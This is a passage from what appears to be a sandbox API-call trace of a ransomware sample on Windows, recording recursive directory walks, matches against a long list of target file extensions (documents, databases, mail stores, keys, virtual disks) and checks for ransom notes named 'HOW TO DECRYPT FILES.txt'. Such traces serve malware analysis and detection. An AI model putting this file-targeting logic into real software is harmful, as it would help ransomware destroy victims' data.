(lpString="*.qbo") returned 5 [0112.285] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.qbx") returned 0 [0112.285] lstrlenA (lpString="*.qbx") returned 5 [0112.285] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.qba") returned 0 [0112.286] lstrlenA (lpString="*.qba") returned 5 [0112.288] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.qby") returned 0 [0112.288] lstrlenA (lpString="*.qby") returned 5 [0112.288] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.qbj") returned 0 [0112.288] lstrlenA (lpString="*.qbj") returned 5 [0112.288] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.ofx") returned 0 [0112.288] lstrlenA (lpString="*.ofx") returned 5 [0112.288] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.qif") returned 0 [0112.288] lstrlenA (lpString="*.qif") returned 5 [0112.288] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.mye") returned 0 [0112.288] lstrlenA (lpString="*.mye") returned 5 [0112.288] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.mbox") returned 0 [0112.288] lstrlenA (lpString="*.mbox") returned 6 [0112.288] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.eml") returned 0 [0112.288] lstrlenA (lpString="*.eml") returned 5 [0112.288] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.pst") returned 0 [0112.289] lstrlenA (lpString="*.pst") returned 5 [0112.289] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.ost") returned 0 [0112.289] lstrlenA (lpString="*.ost") returned 5 [0112.289] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.idx") returned 0 [0112.289] lstrlenA (lpString="*.idx") returned 5 [0112.289] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.dbx") returned 0 [0112.289] lstrlenA (lpString="*.dbx") returned 5 [0112.289] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.sql") returned 0 [0112.289] lstrlenA (lpString="*.sql") returned 5 [0112.289] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.mdb") returned 0 [0112.289] lstrlenA (lpString="*.mdb") returned 5 [0112.289] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.fdb") returned 0 [0112.289] lstrlenA (lpString="*.fdb") returned 5 [0112.289] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.wab") returned 0 [0112.289] lstrlenA (lpString="*.wab") returned 5 [0112.289] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.dat") returned 0 [0112.289] lstrlenA (lpString="*.dat") returned 5 [0112.289] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.txt") returned 0 [0112.289] lstrlenA (lpString="*.txt") returned 5 [0112.290] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.jpeg") returned 0 [0112.290] lstrlenA (lpString="*.jpeg") returned 6 [0112.290] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.jpg") returned 0 [0112.290] lstrlenA (lpString="*.jpg") returned 5 [0112.290] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.png") returned 0 [0112.290] lstrlenA (lpString="*.png") returned 5 [0112.290] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.php") returned 0 [0112.290] lstrlenA (lpString="*.php") returned 5 [0112.290] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.cs") returned 0 [0112.290] lstrlenA (lpString="*.cs") returned 4 [0112.290] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.cpp") returned 0 [0112.290] lstrlenA (lpString="*.cpp") returned 5 [0112.290] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.rar") returned 0 [0112.290] lstrlenA (lpString="*.rar") returned 5 [0112.290] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.zip") returned 0 [0112.290] lstrlenA (lpString="*.zip") returned 5 [0112.290] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.html") returned 0 [0112.290] lstrlenA (lpString="*.html") returned 6 [0112.290] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.htm") returned 0 [0112.290] lstrlenA (lpString="*.htm") returned 5 [0112.290] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.xlsx") returned 0 [0112.291] lstrlenA (lpString="*.xlsx") returned 6 [0112.291] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.xls") returned 0 [0112.291] lstrlenA (lpString="*.xls") returned 5 [0112.291] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.mp4") returned 0 [0112.291] lstrlenA (lpString="*.mp4") returned 5 [0112.291] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.ppt") returned 0 [0112.291] lstrlenA (lpString="*.ppt") returned 5 [0112.291] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.pptx") returned 0 [0112.291] lstrlenA (lpString="*.pptx") returned 6 [0112.291] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.doc") returned 0 [0112.291] lstrlenA (lpString="*.doc") returned 5 [0112.291] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.dot") returned 0 [0112.291] lstrlenA (lpString="*.dot") returned 5 [0112.291] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.docx") returned 0 [0112.291] lstrlenA (lpString="*.docx") returned 6 [0112.291] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.7z") returned 0 [0112.291] lstrlenA (lpString="*.7z") returned 4 [0112.291] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.tar") returned 0 [0112.291] lstrlenA (lpString="*.tar") returned 5 [0112.291] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.bz2") returned 0 [0112.291] lstrlenA (lpString="*.bz2") returned 5 [0112.292] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.gz") returned 0 [0112.292] lstrlenA (lpString="*.gz") returned 4 [0112.292] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.mkv") returned 0 [0112.292] lstrlenA (lpString="*.mkv") returned 5 [0112.292] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.eml") returned 0 [0112.292] lstrlenA (lpString="*.eml") returned 5 [0112.292] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.msg") returned 0 [0112.292] lstrlenA (lpString="*.msg") returned 5 [0112.292] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.edb") returned 0 [0112.292] lstrlenA (lpString="*.edb") returned 5 [0112.292] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.accdb") returned 0 [0112.292] lstrlenA (lpString="*.accdb") returned 7 [0112.293] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.odb") returned 0 [0112.293] lstrlenA (lpString="*.odb") returned 5 [0112.293] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.java") returned 0 [0112.293] lstrlenA (lpString="*.java") returned 6 [0112.293] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.asm") returned 0 [0112.293] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.pfx") returned 0 [0112.293] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.pem") returned 0 [0112.293] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.p12") returned 0 [0112.294] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.gpg") returned 0 [0112.294] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.vsd") returned 0 [0112.294] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.odg") returned 0 [0112.294] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.raw") returned 0 [0112.294] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.nef") returned 0 [0112.294] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.svg") returned 0 [0112.294] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.psd") returned 0 [0112.294] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.vmx") returned 0 [0112.294] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.vmdk") returned 0 [0112.294] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.vdi") returned 0 [0112.294] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.lay6") returned 0 [0112.294] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.mpeg") returned 0 [0112.294] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.djvu") returned 0 [0112.294] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.tiff") returned 0 [0112.295] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.backup") returned 0 [0112.295] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.pdf") returned 0 [0112.295] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.cert") returned 0 [0112.295] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.docm") returned 0 [0112.295] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.xlsm") returned 0 [0112.295] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.dwg") returned 0 [0112.295] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.nd") returned 0 [0112.295] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.tlg") returned 0 [0112.295] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.lgb") returned 0 [0112.295] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.mov") returned 0 [0112.295] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.xdw") returned 0 [0112.296] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.ods") returned 0 [0112.296] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.wav") returned 0 [0112.296] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.mp3") returned 0 [0112.296] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.aiff") returned 0 [0112.296] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.flac") returned 0 [0112.296] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.m4a") returned 0 [0112.296] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\sysglobl\\857fbc76bdd79711e5228e5b075ade49\\sysglobl.ni.dll", pszSpec="*.csv") returned 0 [0112.296] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23a9c083, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x23a9c083, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x23a9c083, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x48c00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="sysglobl.ni.dll", cAlternateFileName="SYSGLO~1.DLL")) returned 0 [0112.296] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0112.296] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23ae8343, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x23ae8343, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x23ae8343, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="857fbc76bdd79711e5228e5b075ade49", cAlternateFileName="857FBC~1")) returned 0 [0112.296] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0112.296] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2bb65df7, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x2bb65df7, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x2bb65df7, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790073, dwReserved1=0x670073, cFileName="System", cAlternateFileName="")) returned 1 [0112.296] lstrcmpA (lpString1=".", lpString2="System") returned -1 [0112.297] lstrcmpA (lpString1="..", lpString2="System") returned -1 [0112.297] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.297] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="System" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System" [0112.297] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2bb65df7, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x2bb65df7, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x2bb65df7, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.297] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.297] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2bb65df7, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x2bb65df7, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x2bb65df7, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.297] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.297] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.297] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2bb65df7, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x2bb65df7, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x2bb65df7, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="adff7dd9fe8e541775c46b6363401b22", cAlternateFileName="ADFF7D~1")) returned 1 [0112.297] lstrcmpA (lpString1=".", lpString2="adff7dd9fe8e541775c46b6363401b22") returned -1 [0112.297] lstrcmpA (lpString1="..", lpString2="adff7dd9fe8e541775c46b6363401b22") returned -1 [0112.297] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\*.*") returned="*.*" [0112.297] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\", lpString2="adff7dd9fe8e541775c46b6363401b22" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22" [0112.298] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2bb65df7, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x2bb65df7, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x2bb65df7, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.300] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.300] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2bb65df7, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x2bb65df7, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x2bb65df7, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.300] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.300] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.300] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b8de692, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x2b8de692, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x2b9e9034, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0xa20200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0112.300] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.300] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.ni.dll") returned -1 [0112.300] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.ni.dll") returned -1 [0112.300] lstrcmpiA (lpString1="", lpString2="System.ni.dll") returned -1 [0112.300] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\*.*") returned="*.*" [0112.300] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System\\adff7dd9fe8e541775c46b6363401b22\\") 